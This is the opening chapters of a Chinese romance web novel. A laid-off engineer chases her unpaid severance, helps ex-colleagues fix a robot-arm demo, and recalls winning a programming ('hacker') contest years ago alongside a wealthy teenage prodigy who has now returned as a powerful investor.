《心有余悸》
1. 这算重逢吗?
陶涓醒来时心口一阵一阵发紧,心脏跳动得很奇怪,像是每几下就要用力向上蹿一下,她靠在床头咳嗽了一阵,摸到了床头柜上的川贝枇杷膏拧开盖子狠狠灌了一大口,心里默念瓶身印的黑字“……止咳平喘,徐徐咽下,焦渴立解……”仿佛这样能加速药物起效。
枇杷膏凉津津的甜味慢慢渗透,她深呼吸,梦中那种喘不上气的感觉终于缓和下来,看一眼床头柜上的电子钟,竟然已经快九点了,可窗外并没多少天光。
自从进入十二月,北市好像就没有一天出太阳的,天空总是阴沉沉的,像是随时会下雪。
她裹上毛衣拉开窗帘,灰蒙蒙的天,光秃秃梧桐,憔悴的枯枝被寒风吹得瑟瑟发抖,她跟着打了个哆嗦,赶紧把电暖气调到最高档。
老小区的房子保温差,窗子还是老式推拉窗,贴了挡风条也无济于事,一楼邻居的暖气烫得烧手,她住在顶层五楼,暖气片摸着比手温还要凉一点,幸好房子小,总共四十平的一居室,不计电费开电暖气尚能保命。只是卫生间比卧室要冷至少两三度。
陶涓洗脸时不得不感叹时光易逝,镜中的自己苍白消瘦,眉心还有两道浅浅的细纹,大约是这几年愁眉苦脸的时候太多了,她放下毛巾,回忆闺蜜曹艺萱教的手法,两根食指蘸上面霜扒拉眉头,细纹果然好像浅了些!她又努力微笑,镜中的人和她刚才梦中的自己仍然判若两人。
也难怪,梦里的她刚刚二十岁,眼睛里有晶亮的光,理所当然觉得自己配获得人生最好的一切,她的队友也一样。当听到他们获得冠军时,他们尖叫着拥抱,在欢呼和掌声中一起走上领奖台接受鲜花和奖牌……
如果这是回忆,接下来应该是这么发展的,可她做的是梦。
梦从来不讲道理。
梦里,她和冠军队友获胜之后,两人激动得拥抱欢呼,然后……然后领奖台变成了天台泳池,她和他还保持着拥抱的姿势,怀里也还抱着冠军花束——这么多年了她还是记得很清楚,那天的冠军花束里有雪白的剑兰、紫色鸢尾和小苍兰,还有粉色洋牡丹,可是梦里,她和他相贴的肌肤之间只有这些花叶。
陶涓双掌捂眼。
虽然已经闭上了眼睛。
怎么会做这种梦。
要是问闺蜜曹艺萱,她一定会说这多正常啊,久旷嘛,皮肤太过饥渴,大脑收到信号,给你发一个贴贴的梦。
尴尬的不是做这种梦。
尴尬的是梦里的人。
顾清泽。
他那时候才多大?十六?十七?还是十五?完全是个又傲慢又幼稚的纨绔小屁孩。
陶涓再次沉痛地摇摇头。
作孽啊……
梦里的自己道德沦丧饥不择食,逮着未成年也吃得下去。
出门时她小心把自己的劳务合同装进包,换鞋时想了想,又回卧室拿上曹艺萱前天晚上送来的录音笔塞进羽绒服口袋。
从她住处去公司坐地铁只要三站。当时就是为了通勤时间短才租了这套老房子。
哦,是前公司。
几周前,她被辞退了。
按照我国劳动法,员工被辞退后原公司应在两周内支付补偿金,可她现在还没收到钱。
过了早高峰的地铁给陶涓一种久违的熟悉感,互联网大厂的程序员们上班时间灵活,十一点以后来公司的人也不少,自然,下班时间也要顺延推迟。不过,自从换了顶头上司,她几乎每天七点之前就到公司,晚上十点前能回家就不错。就在被辞退前一周,她还连着两三天待在公司。
最近流行一个说法,选择大于努力。
几年前的陶涓赞成这说法。
她又想起早上的梦,那次大奖赛夺冠为她锁定了在当时国内互联网巨头“方舟”实习的机会,加入方舟的算法设计师培养计划。从大四下学期开始,她在方舟兢兢业业做了十年。
她当年选错了吗?没有。她不努力吗?更不是。
只是,当她上了方舟这艘大船之后才发现,巨船的航行方向不是她这种级别的小虾米能谏言左右的。
很多时候明明看出新项目就算成功落地也很难和现有的竞争者抢市场,但连她的上级都无能为力,她能做的也只有努力完成自己的KPI,事实证明她还是太单纯了,方舟连续几个大项目都没能成功,高层内斗越来越激烈,三年前高层大换血,一些项目被腰斩,一年前带她入行的上级被迫引咎辞职,空降的新上司黄志添是新任CEO的嫡系——这一点最重要,至于什么技术能力、管理水平、对未来发展的远见……不重要。通通不重要。
后来同事罗莹吐槽,这人名字倒没起错,志在添乱。陶涓深有同感。
新官上任三把火,黄志添空降之后干的第一件事就是全面暂停大家原本在做的东西,接着宣布孵化新项目,谁敢提出异议,黄志添就把谁当成前朝余孽大刑伺候,尤其是陶涓和资历深的几个同事。
大家都知道新上司定的目标根本没法按时完成,但为了那份薪酬只能每天超额工作,还要时不时被当众羞辱。
倒也不是没想过换工作,可是上了这艘大船,再想跳下去也不容易。
陶涓这样的项目主管已经做到管理的中层,技术员的高层,小公司不需要这类人才,也付不起这个价钱,再大点的公司,掌权者会担心请来的新人野心勃勃,一旦位置坐稳就要架空自己。
如果是过去年景好的日子,倒是可以试试跳到同行业另一巨头的船上,可惜最近几年整体经济下行,不管是国内外,互联网行业巨头都在裁人,把分支业务整块裁掉出售,上网搜一搜,同等职位的招聘信息屈指可数。
无奈何,只得先蛰伏着,看在钱的份上让黄霸天作威作福,没想到他却以为她表达任何不同看法都是要挑战他的威信,是要谋朝篡位,终究鸡蛋里挑骨头给她扣了个“业务表现未达预期”的帽子踢出方舟,让自己的亲信取而代之。
想到这里陶涓胸口一阵滞闷,深呼吸好几次才稍微缓解。
进了前公司大门,陶涓看到前台摆上好久没见的鲜花,不由稀奇:“什么大人物来了?总部来人了?”
高层大换血后方舟开始降本增效,连总部都逐渐转移到H市,大堂接待台平时都用仿真花。
“黄总今天有重要的客人,”前台接待员小张递给她访客表,“听说是太平娱乐的章总来谈融资。”
黄霸天一向把融资当成大KPI,之前尝试过几次都没能成功,太平娱乐?陶涓对太平最深的印象是它现任总裁章秀钟,国民度极高的纨绔子弟,和几个女明星传过绯闻的花花公子。
他,和黄志添?合作?
怎么感觉这么荒诞?
不知道是章公子想搞新概念股割韭菜,还是黄霸天要骗人傻钱多的少爷。
她填好表,小张也给人事部打了电话确认,这才给她一张访客磁卡,“康姐说您直接去她办公室就行。”
公司的电梯必须用磁卡才能进入,不同磁卡权限也不同,陶涓记得自己刚来实习时的卡只能去7楼的餐厅和5楼以下的楼层,随着资历增加,员工卡的权限也逐年增加,可是始终只有15层以内的权限,15层以上是高级主管们才能进入的楼层,有一部专属电梯,现在,她的卡变成了只能去特定楼层的访客卡,跟她多年前来面试时一样,10楼,人事部。
人事部经理康苓的秘书一见陶涓就抱歉地笑,“总部临时发起电话会议,康姐刚去开会了,你先坐。”说着把陶涓领进康苓的办公室,会客区的咖啡桌上已经摆上红茶和饼干,“有什么需要就叫我。”
陶涓枯坐许久,秘书听到她咳嗽又给她换了杯菊花茶,周到得无可挑剔,只是康苓一直没开完会。
看看手机,已经十二点了。正踌躇时,有人发来微信语言邀请,是罗莹。
方舟的规定,三级以上技术员要配两部手机,公私分明。离职那天公司的一切电子产品都已上交,不过,日子久了哪能分那么清,处得好的同事还能没私交?
陶涓到楼梯间,语音一接通罗莹就叫:“江湖救急!姐,不管你现在在哪里在干啥,暂停,救我狗命要紧!”
“……我现在在10楼,人事部。”
罗莹反倒停顿一下,笑道,“你是菩萨派来的救兵吗?我马上来!”
片刻后她抱着两台笔电从楼梯跑下来,焦急中满是幸灾乐祸,“听说黄霸天和他的狗腿子正给金主爸爸演示呢,萝卜特切着苹果突然暴走了,差点没给黄霸天眼珠戳出来!你快帮我看看还有救吗?”
“小心点!”罗莹跑得飞快,陶涓心惊肉跳,生怕她一脚踩空摔断脖子。
萝卜特是方舟研发的医疗机械臂,和黄志添其他新官上任后搞的项目一样,想要做成至少要投入五年以上,地基都还没打好就要在楼台上大宴宾客,纯粹为难技术员。
两人坐在台阶上,陶涓接过一台笔电,先看萝卜特在故障前都做了哪些指令,皱眉敲代码,“章公子带了个行家来?这人很厉害啊,看了基本演示就推测出哪里可能出问题。”
罗莹惊讶,“你怎么知道黄霸天这次找到金主是谁?”
“听前台接待说的。”陶涓找到症结所在,“我不在这几周你们干嘛了?完全没进展,这一块不是早说了不能这么做吗?”
“别提了!白狗腿只会拍马屁,他懂个嘚儿的技术!”白狗腿是接替陶涓职位的人,姓白,叫什么已经不重要了,反正大家背后都叫他狗腿,罗莹沮丧摇头,“唉,不懂还喜欢瞎指挥,提的要求都是‘画一条绿色的红线,要直’那类的,大刘跟我敢多说一句就拿级别压我们……”
陶涓知道那是什么滋味,“这么改一下,暂时应该没问题了。”但是能不能融到资,她可不知道。
罗莹拍拍自己脑瓜,“我去,我怎么没想到!”她呼口气,这时才有工夫打量陶涓,“你怎么样?找到下家了?”
陶涓摇头,继续敲代码,“哪有那么容易。”
“哎,你今天来公司干什么?”
“来要补偿金。”
“还没给你?”
“不然呢?菩萨昨天给我托梦说你今天有难,让我在这儿等你?”
“哈哈哈!”罗莹拍陶涓一下,“冥冥中自有安排!”
陶涓被她逗笑了,一笑,又咳嗽起来。
“你这感冒怎么还没好呀?去看了吗?”
陶涓又咳了一会儿,“前天去社区医院看了,开了点药,我还没吃完呢。真不想去医院,人太多了……”
罗莹的手机突然响起来,她开了免提,大刘急吼吼的,“找到涓姐没?白狗腿在这儿跳脚骂街呢!我靠,他还有脸跳——哎?等等!我问你,要是因为打同事被开除了,影响我拿补偿金吗?”
“放下你的拳头,苟住。涓姐刚好在十楼,她来要补偿金的,连康苓人都没见到。”
大刘说了句脏话,又欣喜起来,“你跟涓姐在一起呢?有救了吗?”
陶涓安抚他,“有救,有救。”
代码跑得很顺利,她接过罗莹的手机,“大刘,你再试一次,嗯。有反应吗?好!”
罗莹双手合十举在头
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顶对陶涓摇了摇,“救命之恩。不废话了,我得赶快回去。”说着抱起笔电往楼上跑,刚上几个台阶滑了一脚,膝盖重重磕在台阶上,她疼得嘶嘶吸气,却爬起来接着向上跑,“哎唷,还好电脑没事。”
陶涓只能再说一句废话,“小心点。”
罗莹喘着粗气,“没事!你快回去吧这里冷!”
陶涓这才觉得寒气浸骨。楼梯间里没暖气,她来接电话时没想到要穿上羽绒服。
康苓还没回来。
秘书笑眯眯给陶涓又续了杯茶,“还需要点什么?待会儿我去食堂,要不要给你带份饭?”
陶涓坐立难安。她勉强笑了笑,“我今天还有事,不等她了。”
“那我送您出去。”秘书立刻说。
站在电梯里,陶涓摸摸口袋里没派上用场的录音笔,心里闷闷的。
她不知道接下来要怎么办。明天再来?康苓会不会又开一上午会?还是,找个律师?
她当初真没想到方舟会拖着不给补偿金。
或者再等等?有些大厂同行说他们是离职后一个多月才收到补偿金的。方舟家大业大,她那点补偿金九牛一毛都算不上。
可要是……黄霸天是故意作梗呢?
真要请律师,申请仲裁,方舟拖得起,她拖得起吗?
陶涓思绪纷纷,电梯打开时看到接待员小张带了名保安站在门口,她一时怔住,小张微笑着把她往侧门带,“从这出去吧,贵宾们马上要下来了。”
大堂侧门通道里有两台货运电梯,食堂的蔬菜肉类和各种设备,还有食堂的工作人员、清洁工、维修工们,走的就是这条通道。这里也是一条防火通道,大门常年敞开,门外就是在方舟大厦和另一座大厦之间的巷子。
军绿色厚棉门帘又脏又重,带着股说不清多少种气味混在一起的腌臜,陶涓掀开一条缝,一股寒风扑面冲来,吹得她睁不开眼。
在她身后的大堂里,接待员们在高层专属电梯两侧分列而站,对打开的电梯门毕恭毕敬鞠躬。
一群人众星捧月般簇拥着两名高大的年轻男子走出来。
这群人走到中庭时,罗莹和大刘等几个同事才乘着员工电梯到达大堂。
他们看到平日趾高气昂的上司黄志添哈巴狗似的紧紧跟在这两人身后,点头哈腰,可这两人对他视而不见,脚步都没慢半分,径直朝着大门走去。几辆黑色奔驰越野车前后簇拥着一辆宾利欧陆GT停在自动门前,几个高大的黑衣保镖也已在车前待命。
自动门打开时,黄志添急忙跟在章公子身旁的年轻男人朝着宾利另一边的车门走去,焦急哀求,“……我们今天是出错了,可是很快又调试好了呀!您看要不要再约个时间……”
大刘小声问罗莹,“这人什么来头?”
罗莹摇摇头,问另一个同事,“不是章公子请来的顾问吗?”
白狗腿瞥他们,“顾清泽你们都不认得?”
看到众人一脸迷茫,白狗腿鄙夷,“那顾氏集团你们总知道吧?”
这倒是人人都知道,顾氏集团的创始人顾长河是南洋巨富,制药起家的,后来家族产业扩展到农业、化工、金融、地产和机械制造,二战时变卖家产支持抗日,是“红色资本家”。
“顾清泽,是顾家这一代的佼佼者,最近入股太平,成了第二大股东,他还是几个风投资本的实际控制人——”白狗腿低声说着,摇摇头,“不好打交道。”
罗莹自动翻译:不是地主家的傻儿子,不好骗。她和大刘在最后的答疑环节才去了15层,可两位公子已经失去耐心提前走人,她只看到这位让黄霸天和白狗腿吃瘪的贵公子身形高挑,比章秀钟还要高半个头,正要伸长脖子看看他长什么样子,没想到他恰巧回过头向他们扫了一眼。
他俊美得让人意外,可神情冷漠倨傲,被他眼风一扫有种后背发凉的不适感。
罗莹想了想这不适感因何而来,这位贵公子的眼神,配上他格外出众的外貌,让他有种人机感。像AI仿生人。
幸好他的目光只在他们身上停了一下就收回,“尽快卖掉方舟的股票吧。”
罗莹和大刘面面相觑,不确定这话是不是对他们说的。
黄志添失魂落魄,呆呆看着车队离开,像被定住了,丝丝白气从他脑袋上升起,被冷风吹散。
下雪了。
巷子里的风太强,陶涓两次拉上羽绒服的帽子,才走两步又被风吹掉了。第三次戴帽子时鼻尖忽然一凉,她抬起头,几片细小的雪花在风中打着旋,从铅灰色的天空降落。
快到巷口时,几辆黑色车子排成一队驶过,卷起的风夹杂着雪扑在她脸上,有微微的刺痛感,陶涓正后悔今天出门没带围巾也没带手套,手机突然在口袋里震动。
她一手拉紧帽子,一手掏出手机,是曹艺萱。
“你在哪儿?”
“方舟。”
曹艺萱一听闺蜜这语气就知道她讨薪失败,“我就在附近呢,接你去吃涮羊肉。”
“好。”
“你没事吧?”
陶涓吸一下鼻子,“没事,下雪了,有点冷。”本来不觉得怎样,被关心了反而忽然觉得委屈。
在乎你的人总能听出你是不是真的没事。
曹艺萱夸张地笑,“嘿嘿,告诉你个好消息,你在娱乐圈唯一的人脉——我,终于要发挥作用了!过几天我要去一个有好多大人物的酒会!待会儿把你简历发给我,我帮你找新工作。”
“什么酒会?”
“太平的平安夜酒会。”
2. 她和他是怎么认识的
要较真的话,曹艺萱应该叫陶涓表姐。
陶涓继父的母亲和曹艺萱的姥姥是亲姐妹。
当年曹艺萱鬼迷心窍,打定了主意要去学表演,为艺术奉献终身,曹家的大人们起初不同意,不过,就像曹艺萱自己说的,她别的优点一个都没有,就是犟。人家是撞了南墙才回头,她不,她要撞至少三次才认输。
复读了两年,终于考上,家里人知道拦是拦不住的,生怕这个缺心眼的孩子被人引得误入歧途,只好看看家里亲戚谁在北市,求人帮忙照看着。这么一想,就盯上陶涓了。
陶涓从小在亲戚朋友眼中就是“别人家的孩子”,从来不让家里人操心,考上了名校还年年得奖学金。尤其曹艺萱去北市上学那年,陶涓大四,还没毕业就进了互联网行业巨头实习,人生履历完美无瑕。
曹家的人既然开口了,陶涓还能拒绝吗?好在他们要求也不高,就请她每一两个月抽空看看曹艺萱,吃顿饭,要是见势不妙赶快打小报告。
陶涓本来是抱着做任务的心态去的,没想到和曹艺萱有些缘分,两人一见如故。陶涓大学里同班女生少,毕业后有人出国有人离开北市,高中同学更是渐行渐远,渐渐和曹艺萱成了很亲密的朋友。
曹艺萱常说自己是“后来者居上”。
十五分钟后曹艺萱在一家便利店门口接到陶涓。
陶涓一上车,曹艺萱先递给她一个暖宝宝,听到她咳嗽又递给她一盒润喉糖,“明天我上午没事,陪你去医院看看吧,你这咳嗽总也不好。”
陶涓摇头,“我自己去就行。你是上升期的女明星,没事去医院干什么?”
“嗐,什么女明星,十八线小艺人!”
曹艺萱毕业前就签了公司,叫兰荣文化,小作坊,好处是老板蓝正荣是正经人,公司一姐梅姐是得过玉兰奖的女演员,但那是十几年前的事了,还有几个小艺人也和曹艺萱差不多,家里有点小钱想进娱乐圈玩,因此都比较佛系,没什么乌七八糟的事,不过嘛,他们公司在业内最多是个三流小公司,之前只能跟在大公司后面捡剩饭。
前几年曹艺萱一年有多半年不开工,这几年公司搭上了网络平台发展的快车,专注参与网剧、短剧,资源慢慢多了,曹艺萱人漂亮演技好,事少又便宜,是性价比非常高的演员,工作终于多了起来,前年开始终于收支平衡,总算不用再伸手问家里要钱了。
“你真别跟我去医院!”陶涓很坚决,“这一阵正闹流感,医院里到处病人,你年末活动多,万一被传染了不是错失机会?”
“那你明天一定去医院?”
陶涓保证:“一定!”
涮锅店也不远,片刻就到了,这时雪越下越大,两人走进店里的小包间,窗边已经积了一道白绒条。
陶涓去洗手间回来,锅里汤冒着白气,曹艺萱还给她调好了蘸酱,一勺酱油一勺醋加两勺麻酱,再用一大勺清汤化开,涮得刚刚好的嫩羊肉蘸着酱汁,吃下去全身暖洋洋的,什么烦心事都抛到九霄云外。
曹艺萱跟陶涓讲“太平的酒会”是怎么回事,“我们公司今年跟太平有合作才被邀请了,蓝总和梅姐打算带我一起去刷刷脸,希望能谈下来一个女三号,太平这几年自制的网剧质量越来越高……唉,不说这个!你都没时间看剧。章公子这个级别的,我们蓝总都不一定能跟他搭上话,我这种小虾米就更甭想跳到人家眼前了,不过他秘书孙淳跟梅姐有点小交情,到时候我让梅姐介绍一下——你待会儿回家再好好润色一下简历发我微信,要是我能找到机会跟孙淳聊天就把你简历给她,太平正要招兵买马进军互联网,你这么优秀,肯定一下就被招募了。”
“太平娱乐真要扩大业务?”陶涓还是觉得章公子是要搞概念股去割股民韭菜。
“看看,你先入为主了吧?”曹艺萱纠正陶涓,“首先,太平的全称是太平投资,Pacific Venture Capital,娱乐业一直只是其诸多投资之一,只不过其他业务都没有娱乐业曝光度高,其次,资本追逐金钱就像鲨鱼追逐血腥,你看看最近几年福布斯财富榜上排在最前面的都是哪些人?贝索斯、马斯克、扎克伯格,还有国内那些上榜的富豪,哪个不搞互联网科技呀?再看新进榜的富豪,几乎清一色是你们行业的!太平已经有几家流媒体平台,还投资网剧……”
陶涓突然发觉自己有好大一块知识空白,她听说过福布斯和那些富豪的名字,却从没想过要了解这个榜单,不禁对曹艺萱肃然起敬。
曹艺萱继续侃侃而谈,“太平这次扩张是非常认真非常有野心的,章公子可不只是个只会跟女明星传绯闻的花花公子,早在去年林氏拿钱走人退出太平之前就已经布线了,新合作人是……”她忽然卡壳,沉默了几秒钟不自然地咳嗽一声,“叫什么来着?哎唷,也是个风投资本,啊,我忘词了。”
陶涓:“……忘词?”
曹艺萱不好意思,“嘿嘿,本来想装个大的,失败了。刚才那些是早上蓝总和梅姐聊天时我听的,正听着呢死渣男陆扬又发微信骚扰我,我忙着拉黑他就没听到后来是什么!”
陆扬和曹艺萱谈了五六年,分分合合,这次分手不知道是不是永久性的。
吃完饭曹艺萱送陶涓回家,在她下车前郑重说:“你这么优秀,就缺一个机会。太平这把不是随便玩玩,你也说章秀钟今天还去方舟谈融资。姐们儿,这是什么?这就是上天给我们的机会!启示!等着,我一定帮你争取到这个机会。”
回家后陶涓先上太平官网看了看,曹艺萱说的信息全都对,两年前太平就开始调整战略,并和一个风险投资公司绑定合作。不过这个投资公司相当低调,并没披露很多信息。
她重新编辑简历,在个人经历里补充一条:曾获2013年HTI世界黑客攻防大赛团体赛冠军及个人赛亚军。
打完这行字,她对着屏幕愣了一会儿,去了卧室,然后踩着凳子从衣柜最顶层取出一个纸盒。
纸盒里放着各种小东西,最上层是一个蓝丝绒戒指盒,里面是周测给她的订婚戒指。
分手后她把戒指还给他,他坚持不收,她无心再纠缠,先搁着吧。
戒指盒放在一边,她从最底层翻出两个红色绒面扁盒,盒子的按钮早已褪去原本的金色,里面的白色缎面也有些发黄了,奖牌倒还光亮如新。
那一年的HTI大赛在波士顿举行,大二的陶涓代表大学出征,但只是替补队员。
虽然筛选赛中她无论是赛绩还是演讲展示的分数都略胜一筹,但不知什么原因,最后确定名单时,两名计算机科学专业的同学是正式队员。可能因为她的专业不是计算机科学而是自动化,也可能是别的什么原因。
她是抱着出去见见世面也好的心态去的,反正酒店机票是学校付,就当暑假度假了。万万没想到,到达波士顿第二天,时差还没倒过来,队伍几乎全军覆灭——两名正式队员和三个带队老师全都得了流感,高烧、呕吐、全身酸痛,别说准备比赛,起床都困难。
为期一周的赛前准备期一转眼过了一半,伤员们没一个有起色。这时想再找一个替补飞来也来不及了,一是放暑假了人不好找,二是就算找到人,也来不及办护照和签证。
陶涓接到他们院长电话时是波士顿下午五点,她正在中国超市买涪陵榨菜,吃了一次外卖中餐有人拉肚子,病得雪上加霜,幸好她背了个小电饭锅来,在酒店街角的印度商店买了点米,病人们才能吃上粥了。
她以为老头儿要慰问大家,没想到他兴奋嚷嚷,“有救了!咱们有救了!我一个朋友的儿子——天才少年,现在就在波士顿!虽然还没上大学,但是被我们录取了就算我们的学生——你甭伺候那帮家伙了,现在就去找这个小师弟!跟他组队!咱们学校绝不能在这种重大赛事弃权!”
陶涓只好立刻、马上拎着方便面和榨菜按照老头儿给她的地址找去这位小师弟住的酒店。
他们大学从来不乏世家子弟,陶涓也算见过些世面,不过,由服务员陪着上了顶楼套房专属电梯后还是大开眼界——这套房大的惊人,客厅也大的惊人,有一面七八米的落地窗,窗外就是楼顶泳池,蓝天碧水,池边和水里有十几年轻女孩子,皮色发色各异,各个容貌姣好身材火辣,全穿着比基尼,有的在水中嬉戏,有的躺在沙滩椅上日光浴,泳池边有个闪烁霓虹灯的酒吧,旁边还有DJ台,有真人DJ在播音乐。
陶涓脑子里当时闪过满屏弹幕:酒池肉林!!
这里看起来不像波士顿,像夏威夷。
她没见识地问服务员:“这些女孩是谁?”她没走错地儿吧?这看起来像在拍MV。
人家微笑回答:“她们都是顾先生的客人。”
弹幕自动变了:银趴!!
又走了几步,她又没见识地问:“那些花衬衫大汉们也是顾先生的客人?”每隔一段距离就有位穿花衬衫戴墨镜的彪形大汉。一共六位。
“他们是顾先生的保镖。”
哇靠。
这究竟什么鬼地方?
院长是不是给她发错地址了?这完全像墨西哥毒枭的地盘啊——
有那么一秒钟,陶涓想转身告辞,可这时,服务员指向露台另一边的太阳伞:“顾先生在那里等您。”
她只好硬着头皮走过去。
巨大的太阳伞下摆了两张躺椅,一个少年斜倚在一张躺椅上,面前茶几摆着黑白格棋盘,他正在和自己对弈,他穿着白色亚麻衬衫,头发比寻常的同龄男孩长不少,发尾微卷,被晒成了浅咖啡色。
她站在阳伞边缘静静看他移动棋子,看了一会儿认出他是在复盘一场经典的国际象棋大师对战。
他抬起头,她看到一张被阳光亲吻成蜜色的脸,少年的五官出人意料的秀丽,一双棕褐色的眼瞳清澈如水,看起来比她预期的要年少很多,可能就十五六岁?
陶涓和少年对视了一眼,回头再看一眼泳池边的比基尼女郎们,再回过头,“顾清泽?”
他的声音比外貌清冷很多,“我是。”
陶涓说明来意前已经有预感,果然,他听到什么HTI大赛什么代打,只冷漠地端起饮料,浅啜一口,“唐院长确实和我父亲是朋友,我也确实收到了录取通知,可我还没决定要去北市读书,更别说参加什么黑客大赛。”他舒展身体,看向泳池,“再说,我为什么要帮你?”
陶
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涓想了想,“嗯……可能会挺好玩的?”她坐在另一张躺椅上,看向棋盘,“你就当它是个游戏,比象棋还要有意思点的一场游戏?”
他斜睨着她,“你会玩吗?”
“算是吧。”
“你玩得怎么样?”
“还行吧,不过我有十年没玩了。”
他笑了一声坐起来,“一局超快棋,你输了就走,别再来烦我。”
半小时后,棋盘上战事胶着,他忽然问她:“你想喝点什么?要不要什么饮料?”
“好啊!”她是真挺渴的。
“那……长岛冰茶行么?”
“什么都行!”
后来陶涓才知道,长岛冰茶不是茶。是用伏特加、朗姆酒、金酒、龙舌兰酒四种基酒和冰块、白薄荷酒、柠檬汁调制而成的鸡尾酒,酒精度高达40%。
侍者端来插着小纸伞的饮料后,她还对顾清泽说了声谢谢。
她一口气喝完那杯冰茶没多久,开始日落了,顾清泽再次放棋子时,陶涓忽然注意到这少年脸上和手臂上的寒毛被夕阳染成浅金色,让她联想到金棕色的可卡犬,无来由地想要轻轻抚摸。
那局棋她赢了。
顾清泽推棋认输时有点诧异,“你下得不错嘛。”
陶涓哈哈一笑,“我八岁就业余一级了!”说完忽然发觉自己有点得意忘形,随即感到自己心跳很快,也很渴,她看向自己的杯子,真不巧,那杯冰茶早喝完了。
他体贴问:“再来一杯别的?矿泉水?还是……”
“就这个吧。”
侍者又送来一杯长岛冰茶,她一边喝,一边跟小学弟讲HTI比赛的规则,先是团队赛,有72-96小时比赛时间,根据往届案例推测,今年的题目应该也是在规定时间内完成“开发+落地”一个小应用程序,比如,一个匹配特定人群的聊天交友的社交软件,帮助拖延症患者按时交论文的激励小程序等等。
她问他有没有用过比赛制定的一些技术,某个开源框架之类的,还有前端用的模板……说着说着,忽感唇齿缠绵,眼皮越来越沉重。
再醒来时天窗外的天空都黑透了。陶涓迷迷糊糊翻了个身,发现自己躺在一张陌生大床上。
她惊叫一声坐起来,从上到下把自己摸了一遍——啊!谢天谢地,衣服一件没少!
这时她听到一声冷笑,顾清泽坐在几米远的一张写字台前,脸上明明白白写着:你瞧不起谁呢?
陶涓假装无事发生,指指床头柜上装在玻璃瓶里的矿泉水:“我可以喝吗?我很渴。”
顾清泽要笑不笑,“当然了。”
陶涓拧开一瓶水一饮而尽,更加从容了,“你在看什么?”
顾清泽把笔记本转到她面前,“我们得提前做些代码片段……”
陶涓对他举起拇指,笑,“英雄所见略同。我已经做了些常用功能代码,到了比赛现场可以直接复用。”
队友们全都放弃希望了,她没有。万一比赛前一天有人能上场了呢?她得提前把弹药准备好。
顾清泽也笑了,他走过来,向她伸出手,“你好,队友。”
陶涓从床上跳下来,用力跟他握手:“让我们夺冠!”她这时才发现,顾清泽比她高差不多一头。
就这样,第二天陶涓一早就背着电脑和测试设备来酒店跟顾清泽备战。
电梯打开后她做了点心理建设才走去大厅,看到泳池一个人都没立即松了口气。
让她意外的是,顾清泽已经准备好了,他让人重新布置了书房,放上两张大电脑桌,还准备充电器、扩展坞、传感器等等。
要在两三天内完成原本需要一周的备战,时间非常紧迫,而且两人从来没有合作过,顾清泽在建模、编程上是个天才,可他似乎没有受过系统的教育,很多野路子让陶涓一愣一愣的,要想夺冠得赶快磨合。
两人忙了一天,到了晚上渐渐感到有些熟悉对方的思路。
十点半,吃完夜宵,陶涓有点遗憾,“要是能通宵就好了。”
顾清泽同意,“哦,你待会儿去把你的行李搬过来吧。我这有两间客房,你选一间喜欢的。”
陶涓这才知道,顶楼套房的面积将近三百平米。
三百平米。
这里的客房都要比她酒店房间大两三倍。
顾清泽叫司机陪她取了行李,两人复盘了这一天遇到的问题才去休息。
接下来的两天,睡眠完全不规律,不过,透支健康得到了回报,两人越来越默契,许多时候只需要简短讨论就明确各自要负责的部分,不单是效率高,还有种不可思议的顺滑感。
正式比赛时带队老师拖着病体去观战了半小时,差点当场大叫天不亡我。
就这样陶涓和顾清泽斩获第十四届HTI大赛团体赛冠军和个人赛冠亚军。
陶涓至今还记得组委会宣布他们获胜那一刻,她跳起来拥抱顾清泽,两人一起尖叫、大笑、激动地蹦跳,那一刻,她确信世界是她的,自己理所应当会获得成就、荣耀、地位等等一切用来衡量成功标准的东西。
唉。
原来只是牛马打工人的黄粱一梦。
3. 你开心得有点特别
临近圣诞节,节日气氛渐浓。
超市里播着欢快的圣诞歌曲,商场挂上圣诞装饰。
陶涓走在超市里,莫名会感到尴尬。
除了带着小宝宝的年轻妈妈,白天很少会有她这个年龄的人优哉游哉逛超市。
她告诉自己,珍惜现在的美好时光吧,等再上班了又是不见天日的牛马。
结账时她收到周测的微信,问她在干什么,有没有去看医生,工作找怎么样了。
陶涓直接语音通话,接通的瞬间她就知道,周测还在医院,可能刚下手术,也可能刚带着实习医生们巡完房。医院的嘈杂背景和别的地方不一样,从周测去安真医院实习她就经常听到。
和周测聊了几句,他问:“后天就平安夜了,你有安排吗?要出来玩吗?”
陶涓想都没想就回绝,“感冒刚好一点,不怎么咳嗽了,我可不出去。”
周测笑了一声,“那我来看看你?”
陶涓未置可否,“到时候再说吧。”
周测还想说什么,旁边有人对他说了句“2号床血氧突然降到百分之七十六……”,他赶紧结束通话,“我等会儿再联系你。”
陶涓知道,这个“等会儿”也许是十几分钟,也许是几小时,也可能是第二天。完全看病人情况。心外科一台手术六个小时以上很常见,复杂的手术耗时更长,对医生的体力和精神都是极大考验。有好多次,周测下手术后正和她聊着天忽然睡着了。起初她还会担心,会逮着个空跑去看看他怎么了,等她上了班,每天自己也有一大堆事情要处理,只能焦虑地等着他再联系她。
这次应该也不会例外。
幸好,她再也不用悬着心等他了。
回到家陶涓做上米饭,拿起手机查询银行账户余额。
方舟还没给她补偿金。
人事部的康苓每次都恰巧在她打来电话时不在,当然,电邮也没回。
她搜“劳动仲裁”时忽然收到几个消息提示,打开微信一看,是校友群有人@她。
她失业的消息渐渐传开。
刚离职时她找过几个校友帮忙找工作,但大家日子都不好过,没人能帮上忙。还有位学姐悄悄告诉她,自己已经失业两年,干脆准备生二胎了,又问她和周测什么时候结婚。陶涓打个哈哈岔开话,人家也就识趣不再提起这茬了。
在校友群一连@她几条的是计英彦。
@陶涓唉,也难怪你不太容易找下家。
@陶涓你今年要32了吧?
@陶涓我说个政治不正确的大实话啊,你这个年纪,用人单位得考虑你什么时候生育的问题,原本我们这个行业就有35岁危机,要是你一入职就怀孕,生完孩子能立刻回来吗?哺乳期还不能辞退你,那你这摊子活儿谁干?
@陶涓实在不行你先结婚生子,完成人生阶段性任务再回职场嘛,哦对了,你跟周测什么时候办喜酒啊?
@陶涓周医生是不是已经升副主任医师了?唉哟,他这么年轻有为,身边又那么多年轻小护士,你可得有点危机意识,没准哪个想跟你竞争上岗呢。
这嘴脸着实恶心,群里没一个人说话。
陶涓一直知道他什么德性,也不跟这种玩意儿生气,一笑了之。
计英彦是当年去波士顿参加比赛的队友之一,别人都记得在异国他乡生病时受过陶涓照顾,他却总觉得是她夺走了他得冠军的机会。
这时,学弟孟霄发微信给她:学姐,我最近接了几个短期兼职的活儿,你要是有兴趣的话告诉我,我把中介微信名片推给你。
